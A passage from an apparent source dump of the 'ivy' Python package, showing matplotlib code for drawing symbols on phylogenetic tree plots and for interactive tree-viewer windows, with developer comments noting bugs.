(nleaves*self.leaf_fontsize*self.leafpad)/self.dpi\n        self.height = h\n        self.figure.set_size_inches(self.width, self.height)\n        self.axes.set_ylim(-2, nleaves+2)\n\n    def home(self):\n        self.axes.home()\n", "ivy/vis/symbols.py": "\"\"\"\nConvenience functions for drawing shapes on TreePlots.\n\"\"\"\ntry:\n    import Image\nexcept ImportError:\n    from PIL import Image\nfrom numpy import pi\nfrom matplotlib.collections import RegularPolyCollection, CircleCollection\nfrom matplotlib.transforms import offset_copy\nfrom matplotlib.patches import Rectangle, Wedge, Circle, PathPatch\nfrom matplotlib.offsetbox import DrawingArea\nfrom matplotlib.axes import Axes\nfrom matplotlib.path import Path\n\ntry:\n    from matplotlib.offsetbox import OffsetImage, AnnotationBbox\nexcept ImportError:\n    pass\nfrom ..tree import Node\nfrom . import colors as _colors\n\ndef _xy(plot, p):\n    if isinstance(p, Node):\n        c = plot.n2c[p]\n        p = (c.x, c.y)\n    elif isinstance(p, (list, tuple)):\n        p = [ _xy(plot, x) for x in p ]\n    else:\n        pass\n    return p\n\n\n\ndef image(plot, p, imgfile,\n          maxdim=100, border=0,\n          xoff=4, yoff=4,\n          halign=0.0, valign=0.5,\n          xycoords='data',\n          boxcoords=('offset points')):\n    \"\"\"\n    Add images to plot\n\n    Args:\n        plot (Tree): A Tree plot instance\n        p (Node): A node object\n        imgfile (str): A path to an image\n        maxdim (float): Maximum dimension of image. Optional,\n          defaults to 100.\n        border: RR: What does border do? -CZ\n        xoff, yoff (float): X and Y offset. Optional, defaults to 4\n        halign, valign (float): Horizontal and vertical alignment within\n          box. Optional, defaults to 0.0 and 0.5, respectively.\n\n    \"\"\"\n    if xycoords == \"label\":\n        xycoords = plot.node2label[p]\n        x, y = (1, 0.5)\n    else:\n        x, y = _xy(plot, p)\n    img = Image.open(imgfile)\n    if max(img.size) > maxdim:\n        img.thumbnail((maxdim, maxdim))\n    imgbox = OffsetImage(img)\n    abox = AnnotationBbox(imgbox, (x, y),\n                          xybox=(xoff, yoff),\n                          xycoords=xycoords,\n                          box_alignment=(halign,valign),\n                          pad=0.0,\n                          boxcoords=boxcoords)\n    plot.add_artist(abox)\n    plot.figure.canvas.draw_idle()\n\ndef images(plot, p, imgfiles,\n          maxdim=100, border=0,\n          xoff=4, yoff=4,\n          halign=0.0, valign=0.5,\n          xycoords='data', boxcoords=('offset points')):\n    \"\"\"\n    Add many images to plot at once\n\n    Args:\n        Plot (Tree): A Tree plot instance\n        p (list): A list of node objects\n        imgfile (list): A list of strs containing paths to image files.\n          Must be the same length as p.\n        maxdim (float): Maximum dimension of image. Optional,\n          defaults to 100.\n        border: RR: What does border do? -CZ\n        xoff, yoff (float): X and Y offset. Optional, defaults to 4\n        halign, valign (float): Horizontal and vertical alignment within\n          box. Optional, defaults to 0.0 and 0.5, respectively.\n\n    \"\"\"\n    for x, f in zip(p, imgfiles):\n        image(plot, x, f, maxdim, border, xoff, yoff, halign, valign,\n              xycoords, boxcoords)\n\ndef pie(plot, p, values, colors=None, size=16, norm=True,\n        xoff=0, yoff=0,\n        halign=0.5, valign=0.5,\n        xycoords='data', boxcoords=('offset points')):\n    \"\"\"\n    Draw a pie chart\n\n    Args:\n    plot (Tree): A Tree plot instance\n    p (Node): A Node object\n    values (list): A list of floats.\n    colors (list): A list of strings to pull colors from. Optional.\n    size (float): Diameter of the pie chart\n    norm (bool): Whether or not to normalize the values so they\n      add up to 360\n    xoff, yoff (float): X and Y offset. Optional, defaults to 0\n    halign, valign (float): Horizontal and vertical alignment within\n      box. Optional, defaults to 0.5\n\n    \"\"\"\n    x, y = _xy(plot, p)\n    da = DrawingArea(size, size); r = size*0.5; center = (r,r)\n    x0 = 0\n    S = 360.0\n    if norm: S = 360.0/sum(values)\n    if not colors:\n        c = _colors.tango()\n        colors = [ c.next() for v in values ]\n    for i, v in enumerate(values):\n        theta = v*S\n        if v: da.add_artist(Wedge(center, r, x0, x0+theta,\n                                  fc=colors[i], ec='none'))\n        x0 += theta\n    box = AnnotationBbox(da, (x,y), pad=0, frameon=False,\n                         xybox=(xoff, yoff),\n                         xycoords=xycoords,\n                         box_alignment=(halign,valign),\n                         boxcoords=boxcoords)\n    plot.add_artist(box)\n    plot.figure.canvas.draw_idle()\n    return box\n\ndef hbar(plot, p, values, colors=None, height=16,\n         xoff=0, yoff=0,\n         halign=1, valign=0.5,\n         xycoords='data', boxcoords=('offset points')):\n    x, y = _xy(plot, p)\n    h = height; w = sum(values) * height#; yoff=h*0.5\n    da = DrawingArea(w, h)\n    x0 = -sum(values)\n    if not colors:\n        c = _colors.tango()\n        colors = [ c.next() for v in values ]\n    for i, v in enumerate(values):\n        if v: da.add_artist(Rectangle((x0,0), v*h, h, fc=colors[i], ec='none'))\n        x0 += v*h\n    box = AnnotationBbox(da, (x,y), pad=0, frameon=False,\n                         xybox=(xoff, yoff),\n                         xycoords=xycoords,\n                         box_alignment=(halign,valign),\n                         boxcoords=boxcoords)\n    plot.add_artist(box)\n    plot.figure.canvas.draw_idle()\n\ndef hbars(plot, p, values, colors=None, height=16,\n          xoff=0, yoff=0,\n          halign=1, valign=0.5,\n          xycoords='data', boxcoords=('offset points')):\n    for x, v in zip(p, values):\n        hbar(plot, x, v, colors, height, xoff, yoff, halign, valign,\n             xycoords, boxcoords)\n\ndef squares(plot, p, colors='r', size=15, xoff=0, yoff=0, alpha=1.0,\n            zorder=1000):\n    \"\"\"\n    Draw a square at given node\n\n    Args:\n        plot (Tree): A Tree plot instance\n        p: A node or list of nodes\n        colors: Str or list of strs. Colors of squares to be drawn.\n          Optional, defaults to 'r' (red)\n        size (float): Size of the squares. Optional, defaults to 15\n        xoff, yoff (float): Offset for x and y dimensions. Optional,\n          defaults to 0.\n        alpha (float): between 0 and 1. Alpha transparency of squares.\n          Optional, defaults to 1 (fully opaque)\n        zorder (int): The drawing order. Higher numbers appear on top\n          of lower numbers. Optional, defaults to 1000.\n\n    \"\"\"\n    points = _xy(plot, p)\n    trans = offset_copy(\n        plot.transData, fig=plot.figure, x=xoff, y=yoff, units='points')\n\n    col = RegularPolyCollection(\n        numsides=4, rotation=pi*0.25, sizes=(size*size,),\n        offsets=points, facecolors=colors, transOffset=trans,\n        edgecolors='none', alpha=alpha, zorder=zorder\n        )\n\n    plot.add_collection(col)\n    plot.figure.canvas.draw_idle()\n\ndef tipsquares(plot, p, colors='r', size=15, pad=2, edgepad=10):\n    \"\"\"\n    RR: Bug with this function. If you attempt to call it with a list as an\n    argument for p, it will not only not work (expected) but it will also\n    make it so that you can't interact with the tree figure (gives errors when\n    you try to add symbols, select nodes, etc.) -CZ\n\n    Add square after tip label, anchored to the side of the plot\n\n    Args:\n        plot (Tree): A Tree plot instance.\n        p (Node): A Node object (Should be a leaf node).\n        colors (str): olor of drawn square. Optional, defaults to 'r' (red)\n        size (float): Size of square. Optional, defaults to 15\n        pad: RR: I am unsure what this does. Does not seem to have visible\n          effect when I change it. -CZ\n        edgepad (float): Padding from square to edge of plot. Optional,\n          defaults to 10.\n\n    \"\"\"\n    x, y = _xy(plot, p) # p is a single node or point in data coordinates\n    n = len(colors)\n    da = DrawingArea(size*n+pad*(n-1), size, 0, 0)\n    sx = 0\n    for c in colors:\n        sq = Rectangle((sx,0), size, size, color=c)\n        da.add_artist(sq)\n        sx += size+pad\n    box = AnnotationBbox(da, (x, y), xybox=(-edgepad,y),\n                         frameon=False,\n                         pad=0.0,\n                         xycoords='data',\n                         box_alignment=(1, 0.5),\n                         boxcoords=('axes points','data'))\n    plot.add_artist(box)\n    plot.figure.canvas.draw_idle()\n\n\ndef circles(plot, p, colors='g', size=15, xoff=0, yoff=0):\n    \"\"\"\n    Draw circles on plot\n\n    Args:\n        plot (Tree): A Tree plot instance\n        p: A node object or list of Node objects\n        colors: Str or list of strs. Colors of the circles. Optional,\n          defaults to 'g' (green)\n        size (float): Size of the circles. Optional, defaults to 15\n        xoff, yoff (float): X and Y offset. Optional, defaults to 0.\n\n    \"\"\"\n    points = _xy(plot, p)\n    trans = offset_copy(\n        plot.transData, fig=plot.figure, x=xoff, y=yoff, units='points'\n        )\n\n    col = CircleCollection(\n        sizes=(pi*size*size*0.25,),\n        offsets=points, facecolors=colors, transOffset=trans,\n        edgecolors='none'\n        )\n\n    plot.add_collection(col)\n    plot.figure.canvas.draw_idle()\n    return col\n\ndef legend(plot, colors, labels, shape='rectangle', loc='upper left', **kwargs):\n    \"\"\"\n    RR: the MPL legend function has changed since this function has been\n    written. This function currently does not work. -CZ\n    \"\"\"\n    if shape == 'circle':\n        shapes = [ Circle((0.5,0.5), radius=1, fc=c) for c in colors ]\n        #shapes = [ CircleCollection([10],facecolors=[c]) for c in colors ]\n    else:\n        shapes = [ Rectangle((0,0),1,1,fc=c,ec='none') for c in colors ]\n\n    return Axes.legend(plot, shapes, labels, loc=loc, **kwargs)\n\ndef leafspace_triangles(plot, color='black', rca=0.5):\n    \"\"\"\n    RR: Using this function on the primates tree (straight from the newick file)\n    gives error: 'Node' object has no attribute 'leafspace'. How do you give\n    nodes the leafspace attribute? -CZ\n    rca = relative crown age\n    \"\"\"\n    leaves = plot.root.leaves()\n    leafspace = [ float(x.leafspace) for x in leaves ]\n    #leafspace = array(raw_leafspace)/(sum(raw_leafspace)/float(len(leaves)))\n    pv = []\n    for i, n in enumerate(leaves):\n        if leafspace[i] > 0:\n            p = plot.n2c[n]\n            pp = plot.n2c[n.parent]\n            spc = leafspace[i]\n            yoff = spc/2.0\n            x0 = pp.x + (p.x - pp.x)*rca\n            verts = [(x0, p.y),\n                     (p.x, p.y-yoff),\n                     (p.x, p.y+yoff),\n                     (x0, p.y)]\n            codes = [Path.MOVETO, Path.LINETO, Path.LINETO, Path.CLOSEPOLY]\n            path = Path(verts, codes)\n            patch = PathPatch(path, fc=color, lw=0)\n            pv.append(plot.add_patch(patch))\n    return pv\n\ndef text(plot, x, y, s, color='black', xoff=0, yoff=0, valign='center',\n         halign='left', fontsize=10):\n    \"\"\"\n    Add text to the plot.\n\n    Args:\n        plot (Tree): A Tree plot instance\n        x, y (float): x and y coordinates to place the text\n        s (str): The text to write\n        color (str): The color of the text. Optional, defaults to \"black\"\n        xoff, yoff (float): x and y offset\n        valign (str): Vertical alignment. Can be: 'center', 'top',\n          'bottom', or 'baseline'. Defaults to 'center'.\n        halign (str): Horizontal alignment. Can be: 'center', 'right',\n          or 'left'. Defaults to 'left'\n        fontsize (float): Font size. Optional, defaults to 10\n\n    \"\"\"\n    txt = plot.annotate(\n        s, xy=(x, y),\n        xytext=(xoff, yoff),\n        textcoords=\"offset points\",\n        verticalalignment=valign,\n        horizontalalignment=halign,\n        fontsize=fontsize,\n        clip_on=True,\n        picker=True\n    )\n    txt.set_visible(True)\n    return txt\n", "ivy/vis/tree.py": "\"\"\"\ninteractive viewers for trees, etc. using matplotlib\n\"\"\"\nimport sys, math, types, os, operator\nfrom itertools import chain\nfrom .. import tree\nfrom ..layout import cartesian\nfrom ..storage import Storage\nfrom .. import pyperclip as clipboard\n# from ..nodecache import NodeCache\nimport matplotlib.pyplot as pyplot\nfrom matplotlib.axes import Axes, subplot_class_factory\nfrom matplotlib.figure import SubplotParams\nfrom matplotlib.patches import PathPatch, Rectangle, Arc\nfrom matplotlib.path import Path\nfrom matplotlib.widgets import RectangleSelector\nfrom matplotlib import cm as mpl_colormap\nfrom matplotlib import colors as mpl_colors\nfrom matplotlib.collections import LineCollection\ntry:\n    from matplotlib.offsetbox import OffsetImage, AnnotationBbox\nexcept ImportError:\n    pass\nfrom matplotlib.ticker import NullLocator\nfrom mpl_toolkits.axes_grid.anchored_artists import AnchoredText\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nfrom . import symbols, colors\nfrom . import hardcopy as HC\ntry:\n    import Image\nexcept ImportError:\n    from PIL import Image\n\n# matplotlib.rcParams['path.simplify'] = False\n\n_tango = colors.tango()\nclass TreeFigure(object):\n    \"\"\"\n    Window for showing a single tree, optionally with split overview\n    and detail panes.\n\n    The navigation toolbar at the bottom is provided by matplotlib\n    (http://matplotlib.sf.net/users/navigation_toolbar.html).  Its\n    pan/zoom button and zoom-rectangle button provide different modes\n    of mouse interaction with the figure.  When neither of these\n    buttons are checked, the default mouse bindings are as follows:\n\n    * button 1 drag: select nodes - retrieve by calling fig.selected_nodes\n    * button 3 drag: pan view\n    * scroll up/down: zoom in/out\n    * scroll up/down with Control key: zoom y-axis\n    * scroll up/down with Shift key: zoom x-axis\n    * scroll up/down with 'd' key: pan view up/down\n    * scroll up/down with 'e' key: pan view left/right\n    * click on overview will center the detail pane on that region\n\n    Default keybindings:\n\n    * t: zoom out to full extent\n    * +/-: zoom in/out\n\n    Useful attributes and methods (assume an instance named *fig*):\n\n    * fig.root - the root node (see [Node methods])\n    * fig.highlight(s) - highlight and trace nodes with substring *s*\n    * fig.zoom_clade(anc) - zoom to view node *anc* and all its descendants\n    * fig.toggle_overview() - toggle visibility of the overview pane\n    * fig.toggle_branchlabels() - ditto for branch labels\n    * fig.toggle_leaflabels() - ditto for leaf labels\n    * fig.decorate(func) - decorate the tree with a function (see\n      :ref:`decorating TreeFigures <decorating-trees>`)\n    \"\"\"\n    def __init__(self, data, name=None, scaled=True, div=0.25,\n                 branchlabels=True, leaflabels=True, mark_named=True,\n                 highlight_support=True, xoff=0, yoff=0,\n                 overview=True, radial=False):\n        self.overview = None\n        self.overview_width = div\n        self.dataplot = None\n        self.dataplot_width = 0.25\n        self.name = name\n        self.scaled = scaled\n        self.branchlabels = branchlabels\n        self.leaflabels = leaflabels\n        self.mark_named = mark_named\n        self.xoff = xoff\n        self.yoff = yoff\n        self.radial = radial\n        if radial:\n            self.leaflabels = False\n        self.highlighted = set()\n        self.highlight_support = highlight_support\n        if isinstance(data, tree.Node):\n            root = data\n        else:\n            root = tree.read(data)\n        self.root = root\n        if not self.root:\n            raise IOError(\"cannot coerce data into tree.Node\")\n        self.name = self.name or root.treename\n        pars = SubplotParams(\n            left=0, right=1, bottom=0.05, top=1, wspace=0.01\n            )\n        fig = pyplot.figure(subplotpars=pars, facecolor=\"white\")\n        connect_events(fig.canvas)\n        self.figure = fig\n        self.initialize_subplots(overview)\n        self.home()\n\n    def initialize_subplots(self, overview=True):\n        if not self.radial:\n            tp = TreePlot(self.figure, 1, 2, 2, app=self, name=self.name,\n                          scaled=self.scaled, branchlabels=self.branchlabels,\n                          highlight_support=self.highlight_support,\n                          leaflabels=self.leaflabels,\n                          mark_named=self.mark_named)\n            detail = self.figure.add_subplot(tp)\n            detail.set_root(self.root)\n            detail.plot_tree()\n            self.detail = detail\n            tp = OverviewTreePlot(\n                self.figure, 121, app=self, scaled=self.scaled,\n                branchlabels=False, leaflabels=False,\n                mark_named=self.mark_named,\n                highlight_support=self.highlight_support,\n                target=self.detail\n                )\n            ov = self.figure.add_subplot(tp)\n            ov.set_root(self.root)\n            ov.plot_tree()\n            self.overview = ov\n            if not overview:\n                self.toggle_overview(False)\n            self.set_positions()\n\n            if self.detail.nleaves < 50:\n                self.toggle_overview(False)\n        else:\n            tp = RadialTreePlot(\n                self.figure, 111, app=self, name=self.name,\n                scaled=self.scaled, branchlabels=self.branchlabels,\n                highlight_support=self.highlight_support,\n                leaflabels=self.leaflabels, mark_named=self.mark_named\n                )\n            ax2 = self.figure.add_subplot(tp)\n            ax2.set_root(self.root)\n            ax2.plot_tree()\n            self.detail = ax2\n\n    def __get_selected_nodes(self):\n        return list(self.detail.selected_nodes)\n\n    def __set_selected_nodes(self, nodes):\n        self.detail.select_nodes(nodes)\n\n    def __del_selected_nodes(self):\n        self.detail.select_nodes(None)\n\n    selected = property(__get_selected_nodes,\n                        __set_selected_nodes,\n                        __del_selected_nodes)\n\n    ## def selected_nodes(self):\n    ##     return self.detail.selected_nodes\n\n    @property\n    def axes(self):\n        return self.detail\n\n    def add(self, data, name=None, support=70,\n            branchlabels=False, leaflabels=True, mark_named=True):\n        \"\"\"\n        Add a new tree in a new window\n\n        Args:\n            data: A node object or tree file.\n            name (str): Name of the plot. Defaults to None\n            branchlabels (bool): Whether or not to draw branch labels.\n              Defaults to False\n            leaflabels (bool): Whether or not to draw leaf labels.\n              Defaults to True\n        \"\"\"\n        newfig = MultiTreeFigure()\n        ## newfig.add(self.root, name=self.name, support=self.support,\n        ##            branchlabels=self.branchlabels)\n        newfig.add(data, name=name, support=support,\n                   branchlabels=branchlabels,\n                   leaflabels=leaflabels,\n                   mark_named=mark_named)\n        return newfig\n\n    def toggle_leaflabels(self):\n        \"\"\"\n        Toggle leaf labels and redraw tree\n        \"\"\"\n        self.leaflabels = not self.leaflabels\n        self.detail.leaflabels = self.leaflabels\n        self.redraw()\n\n    def toggle_branchlabels(self):\n        \"\"\"\n        Toggle branch labels and redraw tree\n        \"\"\"\n        self.branchlabels = not self.branchlabels\n        self.detail.branchlabels = self.branchlabels\n        self.redraw()\n\n    def toggle_overview(self, val=None):\n        \"\"\"\n        Toggle overview\n        \"\"\"\n        if val is None:\n            if self.overview.get_visible():\n                self.overview.set_visible(False)\n                self.overview_width = 0.001\n            else:\n                self.overview.set_visible(True)\n                self.overview_width = 0.25\n        elif val:\n            self.overview.set_visible(True)\n            self.overview_width = val\n        else:\n            self.overview.set_visible(False)\n            self.overview_width = 0.001\n        self.set_positions()\n\n    def set_scaled(self, scaled):\n        \"\"\"\n        RR: Using this method gives the error:\n            redraw takes exactly 1 argument(2 given)-CZ\n        Define whether or not the tree is scaled and redraw tree\n\n        Args:\n            scaled (bool): Whether or not the tree is scaled.\n        \"\"\"\n        for p in self.overview, self.detail:\n            p.redraw(p.set_scaled(scaled))\n        self.set_positions()\n\n    def on_nodes_selected(self, treeplot):\n        pass\n\n    def picked(self, e):\n        try:\n            if e.mouseevent.button==1:\n                s = e.artist.get_text()\n                clipboard.copy(s)\n                print(s)\n                sys.stdout.flush()\n        except:\n            pass\n\n    def ladderize(self, rev=False):\n        \"\"\"\n        Ladderize and redraw the tree\n        \"\"\"\n        self.root.ladderize(rev)\n        self.redraw()\n\n    def show(self):\n        \"\"\"\n        Plot the figure in a new window\n        \"\"\"\n        self.figure.show()\n\n    def set_positions(self):\n        ov = self.overview\n        p = self.detail\n        dp = self.dataplot\n        height = 1.0-p.xoffset()\n        if ov:\n            box = [0, p.xoffset(), self.overview_width, height]\n            ov.set_position(box)\n        w = 1.0\n        if ov:\n            w -= self.overview_width\n        if dp:\n            w -= self.dataplot_width\n        p.set_position([self.overview_width, p.xoffset(), w, height])\n        if dp:\n            box = [1.0-self.dataplot_width, p.xoffset(),\n                   self.dataplot_width, height]\n            dp.set_position(box)\n        self.figure.canvas.draw_idle()\n\n    ## def div(self, v=0.3):\n    ##     assert 0 <= v < 1\n    ##     self.overview_width = v\n    ##     self.set_positions()\n    ##     self.figure.canvas.draw_idle()\n\n    def add_dataplot(self):\n        \"\"\"\n        Add new plot to the side of existing plot\n        \"\"\"\n        np = 3 if self.overview else 2\n        if self.dataplot:\n            self.figure.delaxes(self.dataplot)\n        self.dataplot = self.figure.add_subplot(1, np, np, sharey=self.detail)\n        # left, bottom, width, height (proportions)\n        dleft, dbottom, dwidth, dheight = self.detail.get_position().bounds\n        # give the dataplot one-quarter the width of the detail axes\n        w = dwidth * 0.25\n        self.detail.set_position([dleft, dbottom, dwidth-w, dheight])\n        self.dataplot.set_position([1-w, dbottom, w, dheight])\n        self.dataplot.xaxis.set_visible(False)\n        self.dataplot.yaxis.set_visible(False)\n        for x in self.dataplot.spines.values():\n            x.set_visible(False)\n        self.figure.canvas.draw_idle()\n        return self.dataplot\n\n    def redraw(self):\n        \"\"\"\n        Replot the figure and overview\n        \"\"\"\n        self.detail.redraw()\n        if self.overview: self.overview.redraw()\n        self.highlight()\n        self.set_positions()\n        self.figure.canvas.draw_idle()\n\n    def find(self, x):\n        \"\"\"\n        Find nodes\n\n        Args:\n            x (str): String to search\n        Returns:\n            list: A list of node objects found with the Node findall() method\n        \"\"\"\n        return self.root.findall(x)\n\n    def hlines(self, nodes, width=5, color=\"red\", xoff=0, yoff=0):\n        \"\"\"\n        Highlight nodes\n\n        Args:\n            nodes (list): A list of node objects\n            width (float): Width of highlighted lines. Defaults to 5\n            color (str): Color of highlighted lines. Defaults to red\n            xoff (float): Number of units to offset lines by. Defaults to 0\n            yoff (float): Number of units to offset lines by. Defaults to 0\n        \"\"\"\n        self.overview.hlines(nodes, width=width, color=color,\n                             xoff=xoff, yoff=yoff)\n        self.detail.hlines(nodes, width=width, color=color,\n                           xoff=xoff, yoff=yoff)\n\n    def highlight(self, x=None, width=5, color=\"red\"):\n        \"\"\"\n        Highlight nodes\n\n        Args:\n            x: Str or list of Strs or Node or list of Nodes\n            width (float): Width of highlighted lines. Defaults to 5\n            color (str): Color of highlighted lines. Defaults to red\n        \"\"\"\n        if x:\n            nodes = set()\n            if type(x) in types.StringTypes:\n                nodes = self.root.findall(x)\n            elif isinstance(x, tree.Node):\n                nodes = set(x)\n            else:\n                for n in x:\n                    if type(n) in types.StringTypes:\n                        found = self.root.findall(n)\n                        if found:\n                            nodes |= set(found)\n                    elif isinstance(n, tree.Node):\n                        nodes.add(n)\n\n            self.highlighted = nodes\n        else:\n            self.highlighted = set()\n        if self.overview:\n            self.overview.highlight(self.highlighted, width=width, color=color)\n        self.detail.highlight(self.highlighted, width=width, color=color)\n        self.figure.canvas.draw_idle()\n\n    def home(self):\n        \"\"\"\n        Return plot to initial size and location.\n        \"\"\"\n        if self.overview: self.overview.home()\n        self.detail.home()\n\n    def zoom_clade(self, x):\n        \"\"\"\n        Zoom to fit a node *x* and all its descendants in the view.\n\n        Args:\n            x: Node or str that matches the label of a node\n        \"\"\"\n        if not isinstance(x, tree.Node):\n            x = self.root[x]\n        self.detail.zoom_clade(x)\n\n    def zoom(self, factor=0.1):\n        \"\"\"Zoom both axes by *factor* (relative display size).\"\"\"\n        self.detail.zoom(factor, factor)\n        self.figure.canvas.draw_idle()\n\n    def zx(self, factor=0.1):\n        \"\"\"Zoom x axis by *factor*.\"\"\"\n        self.detail.zoom(factor, 0)\n        self.figure.canvas.draw_idle()\n\n    def zy(self, factor=0.1):\n        \"\"\"Zoom y axis by *factor*.\"\"\"\n        self.detail.zoom(0, factor)\n        self.figure.canvas.draw_idle()\n\n    def decorate(self, func, *args, **kwargs):\n        \"\"\"\n        Decorate the tree.\n\n        Args:\n            func (function): A function that takes a TreePlot instance as the\n              first parameter, and *args* and *kwargs* as additional\n              parameters.  It adds boxes, circles, etc to the TreePlot.\n\n        Notes:\n            If *kwargs* contains the key-value pair ('store', *name*),\n            then the function is stored as *name* and re-called every time\n            the TreePlot is redrawn, i.e., the decoration is persistent.\n            Use ``rmdec(name)`` to remove the decorator from the treeplot.\n        \"\"\"\n        self.detail.decorate(func, *args, **kwargs)\n\n    def rmdec(self, name):\n        \"Remove the decoration 'name'.\"\n        self.detail.rmdec(name)\n        ## if name in self.detail.decorators:\n        ##     del self.detail.decorators[name]\n\n    def cbar(self, node, width=6, color='blue', mrca = True):\n        pass\n        # self.axes.cbar(nodes = node, width = width, color = color, mrca = mrca)\n\n    def unclutter(self, *args):\n        self.detail.unclutter()\n\n    def trace_branches(self, nodes, width=4, color=\"blue\"):\n        \"\"\"\n        RR: What is the difference between this and highlight? -CZ\n        \"\"\"\n        for p in self.overview, self.detail:\n            p.trace_branches(nodes, width, color)\n\n    def plot_continuous(self, *args, **kwargs):\n        self.detail.plot_continuous(*args, **kwargs)\n\n    def hardcopy(self, fname=None, relwidth=None, leafpad=1.5):\n        if not relwidth:\n            bbox = self.detail.get_tightbbox(self.figure.canvas.get_renderer())\n            relwidth = bbox.width/bbox.height\n        f = self.detail.hardcopy(\n            relwidth=relwidth,\n            leafpad=leafpad\n            )\n        f.axes.home()\n        #f.axes.set_xlim(*self.detail.get_xlim())\n        #f.axes.set_ylim(*self.detail.get_ylim())\n        if fname:\n            f.savefig(fname)\n        return f\n\n    def select_nodes(self, nodes=None):\n        \"\"\"\n        Select nodes on the plot\n\n        Args:\n            nodes: A node or list of ndoes\n        Notes:\n            If only one node is given, all of the node's ancestors are\n            also selected. If a list of nodes is given (even if it has only\n            one node), only the given node(s) are selected.\n        \"\"\"\n        self.detail.select_nodes(nodes)\n\n    def decorate(self, func, *args, **kwargs): # RR: is this repeated from above? -CZ\n        self.detail.decorate(func, *args, **kwargs)\n\n    ## def dataplot(self):\n    ##     ax = self.figure.add_subplot(133, sharey=self.detail)\n    ##     ax.yaxis.set_visible(False)\n    ##     self.dataplot = ax\n    ##     return ax\n\n    def attach_alignment(self, aln, overview=True):\n        \"leaf labels expected to be sequence ids\"\n        from Bio.Align import MultipleSeqAlignment\n        from Bio.Seq import Seq\n        from Bio.SeqRecord import SeqRecord\n        from Bio.Alphabet import IUPAC\n        from alignment import AlignmentFigure, AlignmentPlot\n        if not isinstance(aln, MultipleSeqAlignment):\n            from .. import align\n            aln = align.read(aln)\n        d = dict([ (x.id,x) for x in aln ])\n        emptyseq = Seq('-'*aln.get_alignment_length(),\n                       alphabet=IUPAC.ambiguous_dna)\n        aln = MultipleSeqAlignment(\n            [ d.get(x.label) or SeqRecord(emptyseq, id=x.label)\n              for x in self.root.leaves() ]\n            )\n        self.aln = aln\n        p = AlignmentPlot(self.figure, 133, aln=aln, app=self,\n                          sharey=self.detail, showy=False)\n        self.alnplot = Storage()\n        self.alnplot.detail = self.figure.add_subplot(p)\n        detail = self.alnplot.detail\n        detail.plot_aln()\n        if overview:\n            self.alnplot.overview = inset_axes(\n                detail, width=\"30%\", height=\"20%\", loc=1\n                )\n            overview = self.alnplot.overview\n            overview.xaxis.set_major_locator(NullLocator())\n            overview.yaxis.set_major_locator(NullLocator())\n            overview.imshow(\n                detail.array, interpolation='nearest', aspect='auto',\n                origin='lower'\n                )\n            rect = UpdatingRect(\n                [0,0], 0, 0, facecolor='black', edgecolor='cyan', alpha=0.5\n                )\n            overview.zoomrect = rect\n            rect.target = detail\n            detail.callbacks.connect('xlim_changed', rect)\n            detail.callbacks.connect('ylim_changed', rect)\n            overview.add_patch(rect)\n            rect(overview)\n        self.toggle_overview(False)\n        xoff = self.detail.xoffset()\n        self.detail.set_position([0, xoff, 0.3, 1.0-xoff])\n        p.set_position([0.3, xoff, 0.7, 1.0-xoff])\n\n\nclass MultiTreeFigure(object):\n    \"\"\"\n    Window for showing multiple trees side-by-side.\n\n    TODO: document this\n    \"\"\"\n    def __init__(self, trees=None, name=None, support=70,\n                 scaled=True, branchlabels=False, radial=False):\n        \"\"\"\n        *trees* are assumed to be objects suitable for passing to\n        ivy.tree.read()\n        \"\"\"\n        self.root = []\n        self.name = name\n        self.name2plot = {}\n        self.plot = []\n        self.scaled = scaled\n        self.branchlabels = branchlabels\n        self.radial = radial\n        self.highlighted = set()\n        self.divs = []\n        pars = SubplotParams(\n            left=0, right=1, bottom=0.05, top=1, wspace=0.04\n            )\n        fig = pyplot.figure(subplotpars=pars)\n        connect_events(fig.canvas)\n        self.figure = fig\n\n        for x in trees or []:\n            self.add(x, support=support, scaled=scaled,\n                     branchlabels=branchlabels)\n\n    def on_nodes_selected(self, treeplot):\n        pass\n\n    def clear(self):\n        self.root = []\n        self.name2plot = {}\n        self.highlighted = set()\n        self.divs = []\n        self.figure.clf()\n\n    def picked(self, e):\n        try:\n            if e.mouseevent.button==1:\n                print(e.artist.get_text())\n                sys.stdout.flush()\n        except:\n            pass\n\n    def getplot(self, x):\n        p = None\n        try:\n            i = self.root.index(x)\n            return self.plot[i]\n        except ValueError:\n            return self.name2plot.get(x)\n\n    def add(self, data, name=None, support=70, scaled=True,\n            branchlabels=False, leaflabels=True, mark_named=True):\n        root = None\n        if isinstance(data, tree.Node):\n            root = data\n        else:\n            root = tree.read(data)\n        if not root:\n            raise IOError(\"cannot coerce data into tree.Node\")\n\n        name = name or root.treename\n        self.root.append(root)\n\n        fig = self.figure\n        N = len(self.plot)+1\n        for i, p in enumerate(self.plot):\n            p.change_geometry(1, N, i+1)\n        plt = TreePlot(fig, 1, N, N, app=self, name=name, support=support,\n                       scaled=scaled, branchlabels=branchlabels,\n                       leaflabels=leaflabels, mark_named=mark_named)\n        p = fig.add_subplot(plt)\n        p.set_root(root)\n        p.plot_tree()\n        p.index = N-1\n        self.plot.append(p)\n        if name:\n            assert name not in self.name2plot\n            self.name2plot[name] = p\n\n        ## global IP\n        ## if IP:\n        ##     def f(shell, s):\n        ##         self.highlight(s)\n        ##         return sorted([ x.label for x in self.highlighted ])\n        ##     IP.expose_magic(\"highlight\", f)\n        ##     def f(shell, s):\n        ##         self.root.ladderize()\n        ##         self.redraw()\n        ##     IP.expose_magic(\"ladderize\", f)\n        ##     def f(shell, s):\n        ##         self.show()\n        ##     IP.expose_magic(\"show\", f)\n        ##     def f(shell, s):\n        ##         self.redraw()\n        ##     IP.expose_magic(\"redraw\", f)\n        return p\n\n    def show(self):\n        self.figure.show()\n\n    def redraw(self):\n        for p in self.plot:\n            p.redraw()\n        self.figure.canvas.draw_idle()\n\n    def ladderize(self, reverse=False):\n        for n in self.root:\n            n.ladderize(reverse)\n        self.redraw()\n\n    def highlight(self, s=None, add=False, width=5, color=\"red\"):\n        \"\"\"\n        Highlight nodes\n\n        Args:\n            s: Str or list of Strs or Node or list of Nodes\n            add (bool): Whether to add to existing highlighted nodes or\n              overwrite them.\n            width (float): Width of highlighted lines. Defaults to 5\n            color (str): Color of highlighted lines. Defaults to red\n        \"\"\"\n        if not s:\n            self.highlighted = set()\n        if not add:\n            self.highlighted = set()\n\n        nodesets = [ p.root.findall(s) for p in self.plot ]\n\n        for nodes, p in zip(nodesets, self.plot):\n            if nodes:\n                p.highlight(nodes, width=width, color=color)\n            else:\n                p.highlight()\n\n        self.highlighted = nodesets\n        